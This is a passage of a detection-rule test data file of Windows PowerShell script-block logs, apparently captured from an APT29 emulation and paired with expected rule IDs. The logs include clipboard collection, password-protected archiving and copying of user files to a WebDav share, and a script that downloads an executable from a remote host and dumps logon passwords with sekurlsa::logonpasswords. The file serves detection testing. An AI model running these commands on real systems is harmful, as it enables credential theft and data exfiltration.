"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-10-27T10:47:51.2128285Z", "win.system.task": "2", "win.system.threadID": "3724", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "91821", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell script created a compressed file"} +{"log": "{\"win\":{\"eventdata\":{\"messageNumber\":\"1\",\"messageTotal\":\"1\",\"scriptBlockText\":\"Invoke-Command -ComputerName 192.168.0.95 -ScriptBlock {Select-Object UserName,SessionId | Where-Object { $_.UserName -like \\\\\\\"*\\\\\\\\$env:USERNAME\\\\\\\" } | Sort-Object SessionId -Unique } | Select-Object UserName,SessionId\",\"scriptBlockId\":\"fffc8511-1b1f-4eb5-9d72-39968178b82f\"},\"system\":{\"eventID\":\"4104\",\"keywords\":\"0x0\",\"providerGuid\":\"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\",\"level\":\"5\",\"channel\":\"Microsoft-Windows-PowerShell/Operational\",\"opcode\":\"15\",\"message\":\"\\\"Creating Scriptblock text (1 of 1):\\r\\nInvoke-Command -ComputerName 192.168.0.95 -ScriptBlock { Select-Object UserName,SessionId | Where-Object { $_.UserName -like \\\"*\\\\$env:USERNAME\\\" } | Sort-Object SessionId -Unique } | Select-Object UserName,SessionId\\r\\n\\r\\nScriptBlock ID: fffc8511-1b1f-4eb5-9d72-39968178b82f\\r\\nPath: \\\"\",\"version\":\"1\",\"systemTime\":\"2021-10-26T20:50:44.3584849Z\",\"eventRecordID\":\"96943\",\"threadID\":\"5204\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"2\",\"processID\":\"1284\",\"severityValue\":\"VERBOSE\",\"providerName\":\"Microsoft-Windows-PowerShell\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "fffc8511-1b1f-4eb5-9d72-39968178b82f", "win.eventdata.scriptBlockText": "Invoke-Command -ComputerName 192.168.0.95 -ScriptBlock {Select-Object UserName,SessionId | Where-Object { $_.UserName -like \\\"*\\\\$env:USERNAME\\\" } | Sort-Object SessionId -Unique } | Select-Object UserName,SessionId", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4104", "win.system.eventRecordID": "96943", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "1284", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-10-26T20:50:44.3584849Z", "win.system.task": "2", "win.system.threadID": "5204", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91823", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell script executed \"Invoke-command\" cmdlet in remote computer"} +{"log": "{ \"win\": { \"eventdata\": { \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"Get-Clipboard\", \"scriptBlockId\": \"22352942-76d4-4e20-868d-0c647cff2a31\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\nGet-Clipboard\\r\\n\\r\\nScriptBlock ID: 22352942-76d4-4e20-868d-0c647cff2a31\\r\\nPath: \\\"\", \"version\": \"1\", \"systemTime\": \"2021-10-25T22:12:09.1205336Z\", \"eventRecordID\": \"1854459\", \"threadID\": \"4860\", \"computer\": \"Workstation1.dc.local\", \"task\": \"2\", \"processID\": \"5824\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "22352942-76d4-4e20-868d-0c647cff2a31", "win.eventdata.scriptBlockText": "Get-Clipboard", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "4104", "win.system.eventRecordID": "1854459", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "5824", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-10-25T22:12:09.1205336Z", "win.system.task": "2", "win.system.threadID": "4860", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91824", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell collected clipboard data"} +{"log": "{ \"win\": { \"eventdata\": { \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"Compress-7Zip -Path \\\\\\\"$env:USERPROFILE\\\\\\\\Downloads\\\\\\\\\\\\\\\" -Filter * -Password \\\\\\\"lolol\\\\\\\" -ArchiveFileName \\\\\\\"$env:APPDATA\\\\\\\\OfficeSupplies.7z\\\\\\\"\", \"scriptBlockId\": \"1f45fda9-d824-42e3-a2b8-9c0117384406\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\nCompress-7Zip -Path \\\"$env:USERPROFILE\\\\Downloads\\\\\\\" -Filter * -Password \\\"lolol\\\" -ArchiveFileName \\\"$env:APPDATA\\\\OfficeSupplies.7z\\\"\\r\\n\\r\\nScriptBlock ID: 1f45fda9-d824-42e3-a2b8-9c0117384406\\r\\nPath: \\\"\", \"version\": \"1\", \"systemTime\": \"2021-10-26T13:37:04.2701868Z\", \"eventRecordID\": \"1877996\", \"threadID\": \"3096\", \"computer\": \"Workstation1.dc.local\", \"task\": \"2\", \"processID\": \"2336\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "1f45fda9-d824-42e3-a2b8-9c0117384406", "win.eventdata.scriptBlockText": "Compress-7Zip -Path \\\"$env:USERPROFILE\\\\Downloads\\\\\\\" -Filter * -Password \\\"lolol\\\" -ArchiveFileName \\\"$env:APPDATA\\\\OfficeSupplies.7z\\\"", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "4104", "win.system.eventRecordID": "1877996", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "2336", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-10-26T13:37:04.2701868Z", "win.system.task": "2", "win.system.threadID": "3096", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91825", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell executed file compression"} +{"log": "{ \"win\": { \"eventdata\": { \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \" Copy-Item \\\\\\\"$env:APPDATA\\\\\\\\OfficeSupplies.7z\\\\\\\" \\\\\\\"WebDavShare:\\\\\\\\OfficeSupplies.7z\\\\\\\" -Force\", \"scriptBlockId\": \"7f0b516e-2f1d-4df4-aad6-575437aabf34\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\n Copy-Item \\\"$env:APPDATA\\\\OfficeSupplies.7z\\\" \\\"WebDavShare:\\\\OfficeSupplies.7z\\\" -Force\\r\\n\\r\\nScriptBlock ID: 7f0b516e-2f1d-4df4-aad6-575437aabf34\\r\\nPath: \\\"\", \"version\": \"1\", \"systemTime\": \"2021-10-26T13:45:08.3556178Z\", \"eventRecordID\": \"1878619\", \"threadID\": \"3096\", \"computer\": \"Workstation1.dc.local\", \"task\": \"2\", \"processID\": \"2336\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "7f0b516e-2f1d-4df4-aad6-575437aabf34", "win.eventdata.scriptBlockText": " Copy-Item \\\"$env:APPDATA\\\\OfficeSupplies.7z\\\" \\\"WebDavShare:\\\\OfficeSupplies.7z\\\" -Force", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "Workstation1.dc.local", "win.system.eventID": "4104", "win.system.eventRecordID": "1878619", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "2336", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-10-26T13:45:08.3556178Z", "win.system.task": "2", "win.system.threadID": "3096", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "91826", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell executed \"Copy-Item\""} +{"log": "{ \"win\": { \"eventdata\": { \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"$wc = New-Object System.Net.WebClient; $wc.DownloadFile(\\\\\\\"http://192.168.0.4:8080/m\\\\\\\",\\\\\\\"m.exe\\\\\\\"); $ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo; $ProcessInfo.FileName = \\\\\\\"m.exe\\\\\\\"; $ProcessInfo.RedirectStandardError = $true; $ProcessInfo.RedirectStandardOutput = $true; $ProcessInfo.UseShellExecute = $false; $ProcessInfo.Arguments = @(\\\\\\\"privilege::debug\\\\\\\",\\\\\\\"sekurlsa::logonpasswords\\\\\\\",\\\\\\\"exit\\\\\\\"); $Process = New-Object System.Diagnostics.Process; $Process.StartInfo = $ProcessInfo; $Process.Start() | Out-Null; $output = $Process.StandardOutput.ReadToEnd(); $Pws = \\\\\\\"\\\\\\\"; ForEach ($line in $($output -split \\\\\\\"`r`n\\\\\\\")) {if ($line.Contains('Password') -and ($line.length -lt 50)) {$Pws += $line}}; $PwBytes = [System.Text.Encoding]::Unicode.GetBytes($Pws); $EncPws =[Convert]::ToBase64String($PwBytes); Set-WmiInstance -Path \\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\cimv2:Win32_AuditCode -Argument @{Result=$EncPws}\", \"scriptBlockId\": \"2cc825ce-9e2d-43bd-be95-47590ffc7388\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\n$wc = New-Object System.Net.WebClient; $wc.DownloadFile(\\\"http://192.168.0.4:8080/m\\\",\\\"m.exe\\\"); $ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo; $ProcessInfo.FileName = \\\"m.exe\\\"; $ProcessInfo.RedirectStandardError = $true; $ProcessInfo.RedirectStandardOutput = $true; $ProcessInfo.UseShellExecute = $false; $ProcessInfo.Arguments = @(\\\"privilege::debug\\\",\\\"sekurlsa::logonpasswords\\\",\\\"exit\\\"); $Process = New-Object System.Diagnostics.Process; $Process.StartInfo = $ProcessInfo; $Process.Start() | Out-Null; $output = $Process.StandardOutput.ReadToEnd(); $Pws = \\\"\\\"; ForEach ($line in $($output -split \\\"`r`n\\\")) {if ($line.Contains('Password') -and ($line.length -lt 50)) {$Pws += $line}}; $PwBytes = [System.Text.Encoding]::Unicode.GetBytes($Pws); $EncPws =[Convert]::ToBase64String($PwBytes); Set-WmiInstance -Path \\\\\\\\.\\\\root\\\\cimv2:Win32_AuditCode -Argument @{Result=$EncPws}\\r\\n\\r\\nScriptBlock ID: 2cc825ce-9e2d-43bd-be95-47590ffc7388\\r\\nPath: \\\"\", \"version\": \"1\", \"systemTime\": \"2021-11-02T00:09:22.3066723Z\", \"eventRecordID\": \"2633308\", \"threadID\": \"3740\", \"computer\": \"apt29w2.xrisbarney.local\", \"task\": \"2\", \"processID\": \"5740\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.scriptBlockId": "2cc825ce-9e2d-43bd-be95-47590ffc7388", "win.eventdata.scriptBlockText": "$wc = New-Object System.Net.WebClient; $wc.DownloadFile(\\\"http://192.168.0.4:8080/m\\\",\\\"m.exe\\\"); $ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo; $ProcessInfo.FileName = \\\"m.exe\\\"; $ProcessInfo.RedirectStandardError = $true; $ProcessInfo.RedirectStandardOutput = $true; $ProcessInfo.UseShellExecute = $false; $ProcessInfo.Arguments = @(\\\"privilege::debug\\\",\\\"sekurlsa::logonpasswords\\\",\\\"exit\\\"); $Process = New-Object System.Diagnostics.Process; $Process.StartInfo = $ProcessInfo; $Process.Start() | Out-Null; $output = $Process.StandardOutput.ReadToEnd(); $Pws = \\\"\\\"; ForEach ($line in $($output -split \\\"`r`n\\\")) {if ($line.Contains('Password') -and ($line.length -lt 50)) {$Pws += $line}}; $PwBytes = [System.Text.Encoding]::Unicode.GetBytes($Pws); $EncPws =[Convert]::ToBase64String($PwBytes); Set-WmiInstance -Path \\\\\\\\.\\\\root\\\\cimv2:Win32_AuditCode -Argument @{Result=$EncPws}", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "apt29w2.xrisbarney.local", "win.system.eventID": "4104", "win.system.eventRecordID": "2633308", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "5740", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-11-02T00:09:22.3066723Z", "win.system.task": "2", "win.system.threadID": "3740", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "91828", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell executed a creation or update of a WMI instance with encoded values"} +{"log": "{ \"win\": { \"eventdata\": { \"path\": \"C:\\\\\\\\Users\\\\\\\\itadmin\\\\\\\\Desktop\\\\\\\\stepThirteen.ps1\", \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"function comp { $Signature=@\\\\\\\" [DllImport(\\\\\\\"kernel32.dll\\\\\\\", SetLastError=true, CharSet=CharSet.Auto)] static extern bool GetComputerNameEx(COMPUTER_NAME_FORMAT NameType,string lpBuffer, ref uint lpnSize);\\\\t enum COMPUTER_NAME_FORMAT {ComputerNameNetBIOS,ComputerNameDnsHostname,ComputerNameDnsDomain,ComputerNameDnsFullyQualified,ComputerNamePhysicalNetBIOS,ComputerNamePhysicalDnsHostname,ComputerNamePhysicalDnsDomain,ComputerNamePhysicalDnsFullyQualified} public static string GCN() { bool success; string name = \\\\\\\" \\\\\\\"; uint size = 20; success = GetComputerNameEx(COMPUTER_NAME_FORMAT.ComputerNameNetBIOS, name, ref size); return \\\\\\\"NetBIOSName:\\\\\\\\t\\\\\\\" + name.ToString(); } \\\\\\\"@ Add-Type -MemberDefinition $Signature -Name GetCompNameEx -Namespace Kernel32 $result = [Kernel32.GetCompNameEx]::GCN() return $result }\", \"scriptBlockId\": \"9d419422-dfa8-429f-b044-ac6520efe6cc\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\nfunction comp {\\n$Signature=@\\\"\\n[DllImport(\\\"kernel32.dll\\\", SetLastError=true, CharSet=CharSet.Auto)]\\nstatic extern bool GetComputerNameEx(COMPUTER_NAME_FORMAT NameType,string lpBuffer, ref uint lpnSize);\\t\\nenum COMPUTER_NAME_FORMAT\\n{ComputerNameNetBIOS,ComputerNameDnsHostname,ComputerNameDnsDomain,ComputerNameDnsFullyQualified,ComputerNamePhysicalNetBIOS,ComputerNamePhysicalDnsHostname,ComputerNamePhysicalDnsDomain,ComputerNamePhysicalDnsFullyQualified}\\npublic static string GCN() {\\nbool success;\\nstring name = \\\" \\\";\\nuint size = 20;\\nsuccess = GetComputerNameEx(COMPUTER_NAME_FORMAT.ComputerNameNetBIOS, name, ref size);\\nreturn \\\"NetBIOSName:\\\\t\\\" + name.ToString();\\n}\\n\\\"@\\nAdd-Type -MemberDefinition $Signature -Name GetCompNameEx -Namespace Kernel32\\n$result = [Kernel32.GetCompNameEx]::GCN()\\nreturn $result\\n}\\r\\n\\r\\nScriptBlock ID: 9d419422-dfa8-429f-b044-ac6520efe6cc\\r\\nPath: C:\\\\Users\\\\itadmin\\\\Desktop\\\\stepThirteen.ps1\\\"\", \"version\": \"1\", \"systemTime\": \"2021-10-29T15:32:41.0826634Z\", \"eventRecordID\": \"2630797\", \"threadID\": \"4724\", \"computer\": \"apt29w2.xrisbarney.local\", \"task\": \"2\", \"processID\": \"96\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.path": "C:\\\\Users\\\\itadmin\\\\Desktop\\\\stepThirteen.ps1", "win.eventdata.scriptBlockId": "9d419422-dfa8-429f-b044-ac6520efe6cc", "win.eventdata.scriptBlockText": "function comp { $Signature=@\\\" [DllImport(\\\"kernel32.dll\\\", SetLastError=true, CharSet=CharSet.Auto)] static extern bool GetComputerNameEx(COMPUTER_NAME_FORMAT NameType,string lpBuffer, ref uint lpnSize);\\t enum COMPUTER_NAME_FORMAT {ComputerNameNetBIOS,ComputerNameDnsHostname,ComputerNameDnsDomain,ComputerNameDnsFullyQualified,ComputerNamePhysicalNetBIOS,ComputerNamePhysicalDnsHostname,ComputerNamePhysicalDnsDomain,ComputerNamePhysicalDnsFullyQualified} public static string GCN() { bool success; string name = \\\" \\\"; uint size = 20; success = GetComputerNameEx(COMPUTER_NAME_FORMAT.ComputerNameNetBIOS, name, ref size); return \\\"NetBIOSName:\\\\t\\\" + name.ToString(); } \\\"@ Add-Type -MemberDefinition $Signature -Name GetCompNameEx -Namespace Kernel32 $result = [Kernel32.GetCompNameEx]::GCN() return $result }", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "apt29w2.xrisbarney.local", "win.system.eventID": "4104", "win.system.eventRecordID": "2630797", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "96", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-10-29T15:32:41.0826634Z", "win.system.task": "2", "win.system.threadID": "4724", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.path", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "91829", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell executed \"GetComputerNameEx\""} +{"log": "{ \"win\": { \"eventdata\": { \"path\": \"C:\\\\\\\\Users\\\\\\\\itadmin\\\\\\\\Desktop\\\\\\\\stepThirteen.ps1\", \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"function domain { $Signature=@\\\\\\\" [DllImport(\\\\\\\"netapi32.dll\\\\\\\", SetLastError=true)] public static extern int NetWkstaGetInfo(string servername, int level, out IntPtr bufptr); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct WKSTA_INFO_100 { public int platform_id; public string computer_name; public string lan_group; public int ver_major; public int ver_minor; } public static string NWGI() { string host = null; IntPtr buffer; var ret = NetWkstaGetInfo(host, 100, out buffer); var strut_size = Marshal.SizeOf(typeof (WKSTA_INFO_100)); WKSTA_INFO_100 wksta_info; wksta_info = (WKSTA_INFO_100) Marshal.PtrToStructure(buffer, typeof (WKSTA_INFO_100)); string domainName = wksta_info.lan_group; return \\\\\\\"DomainName:\\\\\\\\t\\\\\\\" + domainName.ToString(); } \\\\\\\"@ Add-Type -MemberDefinition $Signature -Name NetWGetInfo -Namespace NetAPI32 $result = [NetAPI32.NetWGetInfo]::NWGI() return $result }\", \"scriptBlockId\": \"96bb1fb5-897d-4729-b43d-3e2638f3c32e\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": \"{a0c1853b-5c40-4b15-8766-3cf1c58f985a}\", \"level\": \"5\", \"channel\": \"Microsoft-Windows-PowerShell/Operational\", \"opcode\": \"15\", \"message\": \"\\\"Creating Scriptblock text (1 of 1):\\r\\nfunction domain {\\n$Signature=@\\\"\\n[DllImport(\\\"netapi32.dll\\\", SetLastError=true)]\\npublic static extern int NetWkstaGetInfo(string servername, int level, out IntPtr bufptr);\\n[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]\\npublic struct WKSTA_INFO_100 {\\npublic int platform_id;\\npublic string computer_name;\\npublic string lan_group;\\npublic int ver_major;\\npublic int ver_minor;\\n}\\npublic static string NWGI() \\n{\\nstring host = null;\\nIntPtr buffer;\\nvar ret = NetWkstaGetInfo(host, 100, out buffer);\\nvar strut_size = Marshal.SizeOf(typeof (WKSTA_INFO_100));\\nWKSTA_INFO_100 wksta_info;\\nwksta_info = (WKSTA_INFO_100) Marshal.PtrToStructure(buffer, typeof (WKSTA_INFO_100));\\nstring domainName = wksta_info.lan_group;\\nreturn \\\"DomainName:\\\\t\\\" + domainName.ToString();\\n}\\n\\\"@\\nAdd-Type -MemberDefinition $Signature -Name NetWGetInfo -Namespace NetAPI32\\n$result = [NetAPI32.NetWGetInfo]::NWGI()\\nreturn $result\\n}\\r\\n\\r\\nScriptBlock ID: 96bb1fb5-897d-4729-b43d-3e2638f3c32e\\r\\nPath: C:\\\\Users\\\\itadmin\\\\Desktop\\\\stepThirteen.ps1\\\"\", \"version\": \"1\", \"systemTime\": \"2021-10-29T15:32:47.8484312Z\", \"eventRecordID\": \"2630829\", \"threadID\": \"4724\", \"computer\": \"apt29w2.xrisbarney.local\", \"task\": \"2\", \"processID\": \"96\", \"severityValue\": \"VERBOSE\", \"providerName\": \"Microsoft-Windows-PowerShell\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.messageNumber": "1", "win.eventdata.messageTotal": "1", "win.eventdata.path": "C:\\\\Users\\\\itadmin\\\\Desktop\\\\stepThirteen.ps1", "win.eventdata.scriptBlockId": "96bb1fb5-897d-4729-b43d-3e2638f3c32e", "win.eventdata.scriptBlockText": "function domain { $Signature=@\\\" [DllImport(\\\"netapi32.dll\\\", SetLastError=true)] public static extern int NetWkstaGetInfo(string servername, int level, out IntPtr bufptr); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct WKSTA_INFO_100 { public int platform_id; public string computer_name; public string lan_group; public int ver_major; public int ver_minor; } public static string NWGI() { string host = null; IntPtr buffer; var ret = NetWkstaGetInfo(host, 100, out buffer); var strut_size = Marshal.SizeOf(typeof (WKSTA_INFO_100)); WKSTA_INFO_100 wksta_info; wksta_info = (WKSTA_INFO_100) Marshal.PtrToStructure(buffer, typeof (WKSTA_INFO_100)); string domainName = wksta_info.lan_group; return \\\"DomainName:\\\\t\\\" + domainName.ToString(); } \\\"@ Add-Type -MemberDefinition $Signature -Name NetWGetInfo -Namespace NetAPI32 $result = [NetAPI32.NetWGetInfo]::NWGI() return $result }", "win.system.channel": "Microsoft-Windows-PowerShell/Operational", "win.system.computer": "apt29w2.xrisbarney.local", "win.system.eventID": "4104", "win.system.eventRecordID": "2630829", "win.system.keywords": "0x0", "win.system.level": "5", "win.system.opcode": "15", "win.system.processID": "96", "win.system.providerGuid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "win.system.providerName": "Microsoft-Windows-PowerShell", "win.system.severityValue": "VERBOSE", "win.system.systemTime": "2021-10-29T15:32:47.8484312Z", "win.system.task": "2", "win.system.threadID": "4724", "win.system.version": "1"}, "field_names": ["win.eventdata.messageNumber", "win.eventdata.messageTotal", "win.eventdata.path", "win.eventdata.scriptBlockId", "win.eventdata.scriptBlockText", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "91830", "rule_matches_expected": false, "ini_file": "powershell.ini", "section": "Powershell executed \"NetWkstaGetInfo\""} +{"log": "{ \"win\": { \"eventdata\": { \"path\": \"C:\\\\\\\\Users\\\\\\\\itadmin\\\\\\\\Desktop\\\\\\\\stepThirteen.ps1\", \"messageNumber\": \"1\", \"messageTotal\": \"1\", \"scriptBlockText\": \"function user { $Signature=@\\\\\\\" [DllImport(\\\\\\\"secur32.dll\\\\\\\", CharSet=CharSet.Auto, SetLastError=true)] public static extern int GetUserNameEx (int nameFormat, string userName, ref int userNameSize); public static string GUN() { string uname = \\\\\\\" \\\\\\\"; int size = 40; int EXTENDED_NAME_FORMAT_NAME_DISPLAY = 2; string ret = \\\\\\\"\\\\\\\"; if(0 != GetUserNameEx(EXTENDED_NAME_FORMAT_NAME_DISPLAY, uname, ref size)) { ret += \\\\\\\"UserName:\\\\\\\\t\\\\\\\" + uname.ToString(); } return ret; } \\\\\\\"@ Add-Type -MemberDefinition $Signature -Name GetUNameEx -Namespace Secur32 $result = [Secur32.GetUNameEx]::GUN() return $result }\", \"scriptBlockId\": \"ecd94e73-ad13-4309-b256-6ebd527f7a0f\" }, \"system\": { \"eventID\": \"4104\", \"keywords\": \"0x0\", \"providerGuid\": 